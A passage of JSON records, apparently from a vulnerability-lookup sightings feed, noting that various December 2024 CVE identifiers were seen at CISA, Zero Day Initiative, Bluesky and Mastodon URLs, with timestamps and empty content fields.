"eb5aa883-a7b8-4df2-8407-b7b1a1c261a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-354-03", "content": "", "creation_timestamp": "2024-12-19T11:00:00.000000Z"}, {"uuid": "53fd515a-d8fb-40bb-ab33-e197eaa63695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12669", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1700/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "ad841ffd-5627-42ca-b3c6-43f018aa2cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12831", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldp7lh547h2x", "content": "", "creation_timestamp": "2024-12-20T01:15:45.546953Z"}, {"uuid": "e71e567c-473c-41a9-b0c1-ee5379cafc21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12867", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686784082839328", "content": "", "creation_timestamp": "2024-12-20T19:24:17.993764Z"}, {"uuid": "9b87dea9-52db-4b9b-a76e-4ec8ae4c1afb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12721", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse6bwlvk2i", "content": "", "creation_timestamp": "2024-12-21T07:15:51.660620Z"}, {"uuid": "df77946d-8d83-4e6b-9aee-2223fdcb0e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12884", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113691183339674194", "content": "", "creation_timestamp": "2024-12-21T14:03:05.340586Z"}, {"uuid": "9c2b313c-a79c-4e36-ad84-e9c9d20c592d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12372", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113674546679601749", "content": "", "creation_timestamp": "2024-12-18T15:32:10.244001Z"}, {"uuid": "ff5e158c-a7e6-4d88-ba8a-19f26683bead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113676136226017385", "content": "", "creation_timestamp": "2024-12-18T22:16:24.870726Z"}, {"uuid": "831c734e-3d90-4dfc-985b-3df4d07fb6f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12560", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113678240214070048", "content": "", "creation_timestamp": "2024-12-19T07:11:28.889949Z"}, {"uuid": "f16a79ae-a8c8-47d6-bf52-a07b5f72d0a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12794", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoi4o4kkd2a", "content": "", "creation_timestamp": "2024-12-19T18:15:54.015275Z"}, {"uuid": "6f5232a1-01d1-4b83-aecc-71bf3c5c5f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12175", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos5tq4pt27", "content": "", "creation_timestamp": "2024-12-19T21:15:31.668522Z"}, {"uuid": "6625be47-180a-4a2f-949c-d212a2e56c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos66bptg2a", "content": "", "creation_timestamp": "2024-12-19T21:15:43.833590Z"}, {"uuid": "0d55457f-9a01-4924-aafe-23b2345949ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12832", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldp7ljzril27", "content": "", "creation_timestamp": "2024-12-20T01:15:48.522217Z"}, {"uuid": "ab7d9cc6-2de3-47f8-b8a1-78b3614b6251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldppoigjis23", "content": "", "creation_timestamp": "2024-12-20T06:03:47.409293Z"}, {"uuid": "6c541b5c-b9d9-442b-a534-9c26b19115ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ldr5c2b5f425", "content": "", "creation_timestamp": "2024-12-20T19:40:01.806396Z"}, {"uuid": "7e1bd797-e6e5-4a9e-977a-ecd406ee2628", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ldr5c2b5f425", "content": "", "creation_timestamp": "2024-12-20T19:40:01.847052Z"}, {"uuid": "7f922e4d-f5db-4a6e-9e2d-4487f6b31912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12845", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113687311183167963", "content": "", "creation_timestamp": "2024-12-20T21:38:20.996882Z"}, {"uuid": "d7119ddb-0d06-4aac-92ec-f3cf17a181cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12588", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689861796627690", "content": "", "creation_timestamp": "2024-12-21T08:27:00.584792Z"}, {"uuid": "d974aa92-5643-4955-a682-2598cf3105eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12884", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldt3mvoavs22", "content": "", "creation_timestamp": "2024-12-21T14:15:38.763852Z"}, {"uuid": "82bfd957-c0f8-45af-b132-20f4df617453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12890", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113694955920429502", "content": "", "creation_timestamp": "2024-12-22T06:02:30.471093Z"}, {"uuid": "513ede96-593c-45ac-b856-76f129744a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12892", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lduxxtvmzg2z", "content": "", "creation_timestamp": "2024-12-22T08:15:29.920199Z"}, {"uuid": "2c88c343-840c-4826-b428-ab01ff7a067d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12895", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113696867576122046", "content": "", "creation_timestamp": "2024-12-22T14:08:39.851284Z"}, {"uuid": "fbe6a2d9-638a-4e28-9011-1d9b09d7c1d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12024", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667467477451646", "content": "", "creation_timestamp": "2024-12-17T09:31:50.027282Z"}, {"uuid": "454a9e0f-94c1-4087-b57e-b1f923beb1ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12127", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667467493547882", "content": "", "creation_timestamp": "2024-12-17T09:31:50.350066Z"}, {"uuid": "78d064b6-8d4c-4a56-be6d-9aca3ee1ee5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12469", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667467509014864", "content": "", "creation_timestamp": "2024-12-17T09:31:53.899317Z"}, {"uuid": "31621ab4-ae9b-4244-9048-9dac7c06982e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12024", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667480582218226", "content": "", "creation_timestamp": "2024-12-17T09:35:09.989165Z"}, {"uuid": "f730f1d8-652c-4e5f-949c-e6b6780940f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12127", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667480598232833", "content": "", "creation_timestamp": "2024-12-17T09:35:10.218174Z"}, {"uuid": "a85d006f-743d-4cac-bbcf-b96da7ae85a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12469", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667480613404199", "content": "", "creation_timestamp": "2024-12-17T09:35:10.559622Z"}, {"uuid": "8e2196b7-95a4-44c5-b306-83b09d099ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12127", "type": "seen", "source": "https://social.circl.lu/users/vulnerability_lookup/statuses/113667616531322654", "content": "", "creation_timestamp": "2024-12-17T10:10:02.337689Z"}, {"uuid": "cb491ef1-b3e4-4420-9d6b-babaa2a7d06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12024", "type": "seen", "source": "https://social.circl.lu/users/vulnerability_lookup/statuses/113667616543118902", "content": "", "creation_timestamp": "2024-12-17T10:10:06.992966Z"}, {"uuid": "a308e328-2f47-4061-9ab0-9e39bfd10dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12469", "type": "seen", "source": "https://social.circl.lu/users/vulnerability_lookup/statuses/113667616547179569", "content": "", "creation_timestamp": "2024-12-17T10:10:08.535720Z"}, {"uuid": "79236380-3774-425b-aded-d91f522912b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12395", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667894771605837", "content": "", "creation_timestamp": "2024-12-17T11:20:30.238424Z"}, {"uuid": "99599859-c74e-4b75-81e9-53837a26673f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12601", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667894792440145", "content": "", "creation_timestamp": "2024-12-17T11:20:30.355111Z"}, {"uuid": "990acfe1-118a-4f91-91b8-43579018f6e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12178", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668837686562894", "content": "", "creation_timestamp": "2024-12-17T15:20:17.779624Z"}, {"uuid": "20800715-8f77-4b46-a70e-e0858bc1e75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12179", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668837701255024", "content": "", "creation_timestamp": "2024-12-17T15:20:18.045942Z"}, {"uuid": "f6b4cc5e-9a37-4795-8bcf-d666da7ded79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12191", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668896703171569", "content": "", "creation_timestamp": "2024-12-17T15:35:18.337434Z"}, {"uuid": "d5b378b6-4f5b-46bb-b853-b61105d273ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12192", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668896719374803", "content": "", "creation_timestamp": "2024-12-17T15:35:18.609311Z"}, {"uuid": "fb251917-1cd0-40ca-b3fc-2e0decd48b72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12193", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113668896734528295", "content": "", "creation_timestamp": "2024-12-17T15:35:18.823703Z"}, {"uuid": "5538a963-7385-4de4-857c-d1231fd59128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-352-03", "content": "", "creation_timestamp": "2024-12-17T11:00:00.000000Z"}, {"uuid": "ff2e443a-f6da-4846-96e9-b482afcf851f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12372", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-352-03", "content": "", "creation_timestamp": "2024-12-17T11:00:00.000000Z"}, {"uuid": "96f36009-4166-4bd4-813a-3fa49e033a83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12373", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-352-03", "content": "", "creation_timestamp": "2024-12-17T11:00:00.000000Z"}, {"uuid": "f873167d-55b2-4b1f-949a-c3e0e9d355a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12786", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680107726606149", "content": "", "creation_timestamp": "2024-12-19T15:06:24.911395Z"}, {"uuid": "988a2396-bd56-4481-8fd1-3cb4fd0f1cc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12790", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680563005258460", "content": "", "creation_timestamp": "2024-12-19T17:02:11.845086Z"}, {"uuid": "365201ae-3fd5-485f-8fb9-d1fa4311f90a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12672", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos5vx2y323", "content": "", "creation_timestamp": "2024-12-19T21:15:34.085078Z"}, {"uuid": "2817df4e-9756-4bce-925e-627eacb7704f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos5xymum2s", "content": "", "creation_timestamp": "2024-12-19T21:15:36.824310Z"}, {"uuid": "431fd1e7-7c48-41d4-8d38-ff2fa69bfe71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ldqcxk45qx2d", "content": "", "creation_timestamp": "2024-12-20T11:48:52.851462Z"}, {"uuid": "eb24ef7f-6af3-4a90-8b13-3e8311f842bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12677", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686169757160018", "content": "", "creation_timestamp": "2024-12-20T16:48:04.324701Z"}, {"uuid": "e51b1849-d5e3-48f6-858b-1ef65b4e8d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ldr5c2b5f425", "content": "", "creation_timestamp": "2024-12-20T19:40:01.889669Z"}, {"uuid": "e65e4bbf-6f9e-43f7-8bec-fbac6105594b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12846", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689069906563464", "content": "", "creation_timestamp": "2024-12-21T05:05:36.846349Z"}, {"uuid": "c1553ed5-82b6-45bd-a40b-2091909e0a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12331", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldntys2f3a2z", "content": "", "creation_timestamp": "2024-12-19T12:15:48.322348Z"}, {"uuid": "07edc493-f4a8-4b7d-a27d-3bcac352c328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12786", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldo62mrkik2r", "content": "", "creation_timestamp": "2024-12-19T15:15:48.082591Z"}, {"uuid": "8bac96dd-a8eb-4731-934d-e122b05fcec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldos634iqp2s", "content": "", "creation_timestamp": "2024-12-19T21:15:40.214860Z"}, {"uuid": "e1b443e1-452b-4b48-920f-e0bf4e1e5af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12678", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682658072893365", "content": "", "creation_timestamp": "2024-12-20T01:55:00.078606Z"}, {"uuid": "6621dbd8-83f5-4383-96e2-a59e5fc04b43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ldppoigjis23", "content": "", "creation_timestamp": "2024-12-20T06:03:47.455009Z"}, {"uuid": "a7f5f7bd-e981-4100-9787-0e03c52669ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12408", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldso7bgxby2i", "content": "", "creation_timestamp": "2024-12-21T10:15:21.767374Z"}, {"uuid": "7e0baf4f-1fdb-403f-8786-0c4552cc4df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12539", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113670150654187068", "content": "", "creation_timestamp": "2024-12-17T20:54:12.157582Z"}, {"uuid": "97ca268d-94c4-41de-91c1-3ea444e4a4a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12539", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113670268893584009", "content": "", "creation_timestamp": "2024-12-17T21:24:16.244830Z"}, {"uuid": "eb43144b-135c-4ff2-be39-51b9b8b2ea8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12500", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671516088438749", "content": "", "creation_timestamp": "2024-12-18T02:41:26.899461Z"}, {"uuid": "294cfe3a-68f7-4bbd-a00e-f237c165a0af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12513", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671575110213975", "content": "", "creation_timestamp": "2024-12-18T02:56:27.703400Z"}, {"uuid": "9be438e5-4318-41c6-9188-3935cb01a1fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671721678348988", "content": "", "creation_timestamp": "2024-12-18T03:33:44.018454Z"}, {"uuid": "e0ce83b0-47d4-40d8-9134-30dae1bf693c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12061", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671721693474771", "content": "", "creation_timestamp": "2024-12-18T03:33:44.324415Z"}, {"uuid": "ec2ccbc1-cf4d-4a77-b326-da85692dd715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12250", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671721708328118", "content": "", "creation_timestamp": "2024-12-18T03:33:44.711214Z"}, {"uuid": "bdd9d757-6922-4d15-9e50-dfe6e5eae4b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12259", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671780710103256", "content": "", "creation_timestamp": "2024-12-18T03:48:44.838321Z"}, {"uuid": "2f8df0b0-c314-458a-9453-393362cd1f0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12432", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671780726183194", "content": "", "creation_timestamp": "2024-12-18T03:48:45.064357Z"}, {"uuid": "0ba2d0f6-63d3-4d09-84aa-9ad3a1656a4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12449", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671780741097480", "content": "", "creation_timestamp": "2024-12-18T03:48:45.402974Z"}, {"uuid": "f7d39251-5e3a-4ced-bd8f-0d988a55296b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12596", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113671780756043850", "content": "", "creation_timestamp": "2024-12-18T03:48:45.697029Z"}, {"uuid": "af6e210b-fd96-4cac-b1a9-7ad2443c3598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12698", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113672096276468558", "content": "", "creation_timestamp": "2024-12-18T05:09:00.077829Z"}, {"uuid": "7314f7b7-57a7-4c08-a2e3-47a3f1415625", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12287", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113672571961317340", "content": "", "creation_timestamp": "2024-12-18T07:09:58.403704Z"}, {"uuid": "e6d5f125-0b9f-4512-94ac-8098005c8c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12340", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673114767404104", "content": "", "creation_timestamp": "2024-12-18T09:28:00.916983Z"}, {"uuid": "29c95e7b-e03e-4aff-adf6-ae163c8df287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12454", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673114784020002", "content": "", "creation_timestamp": "2024-12-18T09:28:01.412281Z"}, {"uuid": "08ca4db5-8117-4f39-acdc-8c043cb99056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12554", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113673114798725226", "content": "", "creation_timestamp": "2024-12-18T09:28:01.496856Z"}, {"uuid": "f689bec4-8e10-4f15-a288-f58988e39a68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12626", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldntyulzet22", "content": "", "creation_timestamp": "2024-12-19T12:15:50.859658Z"}, {"uuid": "d376c2c2-964c-422d-b168-42f2c30d11e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12111", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681311720588385", "content": "", "creation_timestamp": "2024-12-19T20:12:36.350511Z"}, {"uuid": "4c73ac23-afcb-43c8-902a-8fe878192c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12896", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113698994384863334", "content": "", "creation_timestamp": "2024-12-22T23:09:32.478941Z"}, {"uuid": "52f975d0-4b32-4804-877f-1fa9b681d638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12896", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwkayosbe2m", "content": "", "creation_timestamp": "2024-12-22T23:15:24.205667Z"}, {"uuid": "c07f9afa-bfdf-4eec-a2d2-4dbd1f5c5487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 